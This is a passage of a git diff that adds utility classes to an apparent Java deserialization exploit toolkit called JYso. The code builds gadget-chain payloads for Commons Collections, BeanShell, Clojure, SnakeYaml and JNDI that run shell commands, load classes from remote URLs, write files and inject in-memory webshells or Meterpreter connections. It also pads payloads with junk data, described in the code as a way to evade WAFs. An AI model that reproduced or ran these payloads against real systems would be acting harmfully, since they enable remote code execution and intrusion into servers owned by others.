sb.append(clazz); + return sb.toString(); + } + + protected static String constructorPrefix ( boolean inline ) { + if ( !inline ) { + return "foo: !"; + } + return "!"; + } + + public static String writeString(String string) { + return '"' + string + '"'; + } + + public static String writeJackJsonObject( Class clazz, Map values ) { + return writeJackJsonObject(clazz.getName(), values); + } + public static String writeJackJsonObject ( String type, Map properties ) { + StringBuilder sb = new StringBuilder(); + sb.append('['); + sb.append('"').append(type).append('"'); + sb.append(','); + sb.append('{'); + boolean first = true; + for ( Map.Entry e : properties.entrySet() ) { + if ( !first ) { + sb.append(','); + } + else { + first = false; + } + writeProperty(sb, e.getKey(), e.getValue()); + } + sb.append('}'); + sb.append(']'); + return sb.toString(); + } + + public static void writeProperty ( StringBuilder sb, String key, String value ) { + sb.append('"').append(key).append('"'); + sb.append(':'); + sb.append(value); + } + + public static String writeCollection ( String type, String... values ) { + StringBuilder sb = new StringBuilder(); + sb.append('['); + sb.append('"').append(type).append('"'); + sb.append(','); + arrayHandler(sb, values); + sb.append(']'); + return sb.toString(); + } + + public static void arrayHandler(StringBuilder sb, String[] values) { + sb.append('['); + boolean first = true; + for ( String val : values ) { + if ( !first ) { + sb.append(','); + } + else { + first = false; + } + sb.append(val); + } + sb.append(']'); + } + + public static String makeSpringJndiBeanFactory ( String jndiUrl ) { + return writeJackJsonObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl)))); + } + public static String quoteString ( String string ) { + return '"' + string + '"'; + } + + public static String writeArray ( String... elements ) { + StringBuilder sb = new StringBuilder(); + arrayHandler(sb, elements); + return sb.toString(); + } + + + + +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java new file mode 100644 index 0000000..713587b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java @@ -0,0 +1,21 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.io.Serializable; +import java.security.*; + +/** + * 二次反序列化 + * + * @author QI4L + */ +public class SignedObjectUtils { + public static SignedObject warpWithSignedObject(Serializable obj) throws Exception { + KeyPairGenerator keyPairGenerator; + keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + Signature signingEngine = Signature.getInstance("DSA"); + return new java.security.SignedObject(obj, privateKey, signingEngine); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SnakeYamlUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SnakeYamlUtils.java new file mode 100644 index 0000000..81c88f3 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/SnakeYamlUtils.java @@ -0,0 +1,60 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.io.*; +import java.util.zip.Deflater; + +import static com.qi4l.JYso.gadgets.utils.Util.base64Encode; + +/** + * SnakeYaml 写入 Jar 包 poc 生成工具类 + * + * @author QI4L + */ +public class SnakeYamlUtils { + public static String createPoC(String srcPath, String destPath) throws Exception { + + File file = new File(srcPath); + long FileLength = file.length(); + byte[] FileContent = new byte[(int) FileLength]; + try { + FileInputStream in = new FileInputStream(file); + in.read(FileContent); + in.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + byte[] compressBytes = compress(FileContent); + return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + base64Encode(compressBytes) + " },1048576]]"; + } + + public static byte[] compress(byte[] data) { + byte[] output = new byte[0]; + + Deflater compresser = new Deflater(); + + compresser.reset(); + compresser.setInput(data); + compresser.finish(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); + try { + byte[] buf = new byte[1024]; + while (!compresser.finished()) { + int i = compresser.deflate(buf); + bos.write(buf, 0, i); + } + output = bos.toByteArray(); + } catch (Exception e) { + output = data; + e.printStackTrace(); + } finally { + try { + bos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + compresser.end(); + return output; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java new file mode 100644 index 0000000..26715b4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java @@ -0,0 +1,64 @@ +package com.qi4l.JYso.gadgets.utils; + +import java.util.*; + +public class StringUtil { + + public static String join(Iterable strings, String sep, String prefix, String suffix) { + final StringBuilder sb = new StringBuilder(); + boolean first = true; + for (String s : strings) { + if (!first) sb.append(sep); + if (prefix != null) sb.append(prefix); + sb.append(s); + if (suffix != null) sb.append(suffix); + first = false; + } + return sb.toString(); + } + + public static String repeat(String str, int num) { + final String[] strs = new String[num]; + Arrays.fill(strs, str); + return join(Arrays.asList(strs), "", "", ""); + } + + public static List formatTable(List rows) { + final Integer[] maxLengths = new Integer[rows.get(0).length]; + for (String[] row : rows) { + if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); + for (int i = 0; i < maxLengths.length; i++) { + if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { + maxLengths[i] = row[i].length(); + } + } + } + + final List lines = new LinkedList(); + for (String[] row : rows) { + for (int i = 0; i < maxLengths.length; i++) { + final String pad = repeat(" ", maxLengths[i] - row[i].length()); + row[i] = row[i] + pad; + } + lines.add(join(Arrays.asList(row), " ", "", "")); + } + return lines; + } + + public static boolean isFromExploit() { + StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); + for (int i = 0; i < stackTraceElements.length; i++) { + if (stackTraceElements[i].getClassName().startsWith("com.qi4l.JYso.exploit")) { + return true; + } + } + return false; + } + + public static class ToStringComparator implements Comparator { + + public int compare(Object o1, Object o2) { + return o1.toString().compareTo(o2.toString()); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java new file mode 100644 index 0000000..d36a3c5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java @@ -0,0 +1,8 @@ +package com.qi4l.JYso.gadgets.utils; + +public class SuClassLoader extends ClassLoader { + + public SuClassLoader() { + super(Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Util.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Util.java new file mode 100644 index 0000000..c452949 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Util.java @@ -0,0 +1,181 @@ +package com.qi4l.JYso.gadgets.utils; + +import com.qi4l.JYso.template.echoStatic.Meterpreter; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Random; + +public class Util { + public static String getRandomString() { + String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < 10; i++) { + char ch = str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + + public static String getClassCode(Class clazz) throws Exception { + byte[] bytes = null; + if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) { + bytes = ClassByteChange.update(Meterpreter.class); + + } else { + bytes = getClassBytes(clazz); + } + + + String result = Util.base64Encode(bytes); + + return result; + } + + public static String getClassType(byte[] bytes) throws Exception { + String result = Util.base64Encode(bytes); + return result; + } + + public static byte[] getClassBytes(Class clazz) throws Exception { + String className = clazz.getName(); + String resoucePath = className.replaceAll("\\.", "/") + ".class"; + InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); + byte[] bytes = new byte[1024]; + ByteArrayOutputStream baous = new ByteArrayOutputStream(); + int len = 0; + while ((len = in.read(bytes)) != -1) { + baous.write(bytes, 0, len); + } + + in.close(); + baous.close(); + + return baous.toByteArray(); + } + + public static String base64Encode(byte[] bytes) throws Exception { + String result; + + try { + Class clazz = Class.forName("java.util.Base64"); + Method method = clazz.getDeclaredMethod("getEncoder"); + Object obj = method.invoke(null); + method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); + obj = method.invoke(obj, bytes); + result = (String) obj; + } catch (ClassNotFoundException e) { + Class clazz = Class.forName("sun.misc.BASE64Encoder"); + Method method = clazz.getMethod("encodeBuffer", byte[].class); + Object obj = method.invoke(clazz.newInstance(), bytes); + result = (String) obj; + result = result.replaceAll("\r|\n|\r\n", ""); + } + + return result; + } + + public static byte[] base64Decode(String str) throws Exception { + byte[] bytes; + + try { + Class clazz = java.lang.Class.forName("java.util.Base64"); + Method method = clazz.getDeclaredMethod("getDecoder"); + Object obj = method.invoke(null); + method = obj.getClass().getDeclaredMethod("decode", String.class); + obj = method.invoke(obj, str); + bytes = (byte[]) obj; + } catch (ClassNotFoundException e) { + Class clazz = java.lang.Class.forName("sun.misc.BASE64Decoder"); + Method method = clazz.getMethod("decodeBuffer", String.class); + Object obj = method.invoke(clazz.newInstance(), str); + bytes = (byte[]) obj; + } + + return bytes; + } + + public static String shellBase64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static byte[] serialize(Object ref) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(ref); + return out.toByteArray(); + } + + public static String getCmdFromBase(String base) throws Exception { + int firstIndex = base.lastIndexOf("/"); + String cmd = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { + byte[] bytes = Util.base64Decode(cmd); + cmd = new String(bytes); + } + + return cmd; + } + + public static String[] getIPAndPortFromBase(String base) throws NumberFormatException { + int firstIndex = base.lastIndexOf("/"); + String port = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + String ip = base.substring(secondIndex + 1, firstIndex); + return new String[]{ip, Integer.parseInt(port) + ""}; + } + + public static Class getMeterpreter(Class clazz, String host, String port) throws NoSuchFieldException, IllegalAccessException { + Field hostField = clazz.getField("host"); +// hostField.setAccessible(true); + Field portField = clazz.getField("port"); +// portField.setAccessible(true); + hostField.set(null, host); + portField.set(null, port); + return clazz; + } + + + public static boolean isHave(String[] strs, String s) { + + /*此方法有两个参数,第一个是要查找的字符串数组,第二个是要查找的字符或字符串*/ + int i = strs.length; + while (i-- > 0) { + if (strs[i] == s) { + return true; + } + } + return false; + } + +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java new file mode 100644 index 0000000..ec14f91 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -0,0 +1,188 @@ +package com.qi4l.JYso.gadgets.utils; + +import com.sun.org.apache.bcel.internal.classfile.Utility; +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang.StringUtils; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.zip.GZIPOutputStream; + +import static com.qi4l.JYso.gadgets.Config.Config.*; +import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod; +import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; + +public class Utils { + + public static Class makeClass(String clazzName) { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.makeClass(clazzName); + Class clazz = null; + try { + clazz = ctClass.toClass(); + } catch (CannotCompileException e) { + throw new RuntimeException(e); + } + ctClass.defrost(); + return clazz; + } + + public static String[] handlerCommand(String command) { + String info = command.split("[-]")[1]; + int index = info.indexOf("#"); + String par1 = info.substring(0, index); + String par2 = info.substring(index + 1); + return new String[]{par1, par2}; + } + + + public static String base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", Class.class).invoke(base64, Class[].class); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static void saveCtClassToFile(CtClass ctClass) throws Exception { + // 总体在进行类字节码的缩短 + shrinkBytes(ctClass); + byte[] classBytes = ctClass.toBytecode(); + + // 保存内存马文件 + if (GEN_MEM_SHELL) { + if (StringUtils.isNotEmpty(GEN_MEM_SHELL_FILENAME)) { + writeClassToFile(GEN_MEM_SHELL_FILENAME, classBytes); + } else { + writeClassToFile(ctClass.getName(), classBytes); + } + } + } + + public static void loadClassTest(byte[] classBytes, String className) throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + method.setAccessible(true); + Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); + + try { + clazz.newInstance(); + } catch (Exception ignored) { + Class unsafe = Class.forName("sun.misc.Unsafe"); + Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Object unsafeObject = theUnsafeField.get(null); + unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, clazz); + } + } + + public static String generateBCELFormClassBytes(byte[] bytes) throws Exception { + return "$$BCEL$$" + Utility.encode(bytes, true); + } + + public static String getJSEngineValue(byte[] classBytes) throws Exception { + if (USING_RHINO) { + return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();"; + } else { + return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cloader= java.lang.Thread.currentThread().getContextClassLoader();var superLoader=cloader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();var method=superLoader.getDeclaredMethod(\"defineClass\",dataBytes.getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);method.setAccessible(true);var memClass=method.invoke(cloader,dataBytes,0,dataBytes.length);memClass.newInstance();"; + } + } + + public static CtClass encapsulationByClassLoaderTemplate(byte[] bytes) throws Exception { + CtClass ctClass = POOL.get("com.qi4l.JYso.template.ClassLoaderTemplate"); + ctClass.setName(generateClassName()); + ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); + gzipOutputStream.write(bytes); + gzipOutputStream.close(); + + String b64 = Base64.encodeBase64String(outBuf.toByteArray()); + // 如果 b64 的长度比较大,则将其切分为多个字符串进行拼接,避免单个字符串过长 + String code = ""; + if (b64.length() > 60000) { + String[] arrays = splitString(b64, 60000); + for (int i = 0; i < arrays.length; i++) { + if (i == 0) { + code += "b64=\"" + arrays[0] + "\";\n"; + } else { + code += "b64 +=\"" + arrays[i] + "\";\n"; + } + } + } else { + code += "b64=\"" + b64 + "\";\n"; + } + + // 将赋值的代码插入到 ClassLoaderTemplate 中 + insertMethod(ctClass, "initClassBytes", code); + return ctClass; + } + + public static void writeClassToFile(String fileName, byte[] classBytes) throws Exception { + File file = new File(fileName.replace(".", File.separator) + ".class"); + File parentDir = file.getParentFile(); + if (!parentDir.exists()) { + if (!parentDir.mkdirs()) { + // 创建文件夹失败 + return; + } + } + FileOutputStream fileOutputStream = new FileOutputStream(file); + fileOutputStream.write(classBytes); + fileOutputStream.flush(); + fileOutputStream.close(); + } + + public static String[] splitString(String str, int chunkSize) { + if (str == null || str.isEmpty() || chunkSize <= 0) { + return null; + } + int len = str.length(); + int arrayLen = (len + chunkSize - 1) / chunkSize; + String[] result = new String[arrayLen]; + int k = 0; + for (int i = 0; i < len; i += chunkSize) { + int endIndex = Math.min(i + chunkSize, len); + result[k++] = str.substring(i, endIndex); + } + return result; + } + + public static String base64Encode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[]{}).invoke(null, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java new file mode 100644 index 0000000..4faf4a7 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/beanshell/BeanShellUtil.java @@ -0,0 +1,27 @@ +package com.qi4l.JYso.gadgets.utils.beanshell; + +import com.qi4l.JYso.gadgets.utils.StringUtil; +import com.qi4l.JYso.gadgets.utils.Utils; + +import java.util.Arrays; + +public class BeanShellUtil { + + public static String makeBeanShellPayload(String command) { + if (command.startsWith("TS-")) + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("[-]")[1]) * 1000) + "L);"; + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());"; + } + + return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" + + StringUtil.join( + Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java new file mode 100644 index 0000000..6f07a21 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java @@ -0,0 +1,76 @@ +package com.qi4l.JYso.gadgets.utils.cc; + +import com.qi4l.JYso.gadgets.utils.Utils; +import javassist.CtClass; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; + +import javax.script.ScriptEngineManager; +import java.io.FileOutputStream; +import java.net.URL; +import java.net.URLClassLoader; + +import static com.qi4l.JYso.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER; +import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode; +import static com.qi4l.JYso.gadgets.utils.Utils.handlerCommand; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; + +public class TransformerUtil { + + public static Transformer[] makeTransformer(String command) throws Exception { + Transformer[] transformers; + String[] execArgs = {command}; + + if (command.startsWith("TS-")) { + transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("[-]")[1] + "000")}),}; + } else if (command.startsWith("RC-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)}; + } else if (command.startsWith("WF-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(Integer.valueOf(1))}; + } else if (command.startsWith("PB-lin")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("PB-win")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("SE-")) { + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("[-]")[1]) + "');"})}; + } else if (command.startsWith("DL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("[-]")[1]}}), new ConstantTransformer(1)}; + } else if (command.startsWith("HL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("[-]")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("BC-")) { + command = command.substring(3); + String bcelBytes; + + // 对 BCEL 也支持 EX 或 LF 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode()); + } else { + bcelBytes = command; + } + + transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("JD-")) { + transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("[-]")[1]}), new ConstantTransformer(1)}; + } else if (command.startsWith("EX-") || command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + + if (!USING_MOZILLA_DEFININGCLASSLOADER) { + // 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader + // 在 NC 中可以使用 + transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else { + // 使用 ScriptEngineManager JS eval 加载 + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})}; + } + } else { + transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, (Object[]) execArgs), new ConstantTransformer(Integer.valueOf(1))}; + } + return transformers; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java new file mode 100644 index 0000000..8750c49 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java @@ -0,0 +1,25 @@ +package com.qi4l.JYso.gadgets.utils.clojure; + +import com.qi4l.JYso.gadgets.utils.StringUtil; +import com.qi4l.JYso.gadgets.utils.Utils; + +import java.util.Arrays; + +public class ClojureUtil { + + public static String makeClojurePayload(String command) { + if (command.startsWith("TS-")) + return String.format("(java.lang.Thread/sleep " + (Integer.parseInt(command.split("[-]")[1]) * 1000) + ")", new Object[0]); + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)"; + } + String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\""); + return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", new Object[]{cmd}); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java new file mode 100644 index 0000000..4f5b056 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java @@ -0,0 +1,111 @@ +package com.qi4l.JYso.gadgets.utils.dirty; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Utils; + +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + +/** + * 来自 c0ny1 + *

+ * Java反序列化数据绕WAF之加大量脏数据 + * 链接:https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/ + */ +public class DirtyDataWrapper { + + // 脏数据大小 + private final int dirtyDataSize; + + private final int dirtyDataType; + + // gadget 对象 + private final Object gadget; // gadget对象 + + public DirtyDataWrapper(Object gadget, int dirtyDataType, int dirtyDataSize) { + this.gadget = gadget; + this.dirtyDataType = dirtyDataType; + this.dirtyDataSize = dirtyDataSize; + } + + /** + * 脏数据填充反序列化利用链 + * + * @return 返回包裹后的反序列化数据 + */ + public Object doWrap() { + + Object wrapper = null; + + // 如果混淆长度为 0 则不混淆 + if (dirtyDataSize == 0) { + return gadget; + } + + switch (dirtyDataType) { + // type 为 1 时,随机使用 ArrayList/LinkedList/HashMap/LinkedHashMap/TreeMap 等集合类型来封装 object,并指定脏数据大小 + // by c0ny1 + case 1: + // 生成随机字符串 + String dirtyData = new RandomString((dirtyDataSize), ThreadLocalRandom.current()).getString(); + String randStr1 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); + String randStr2 = new RandomString((int) (Math.random() * 10) % 10 + 1, 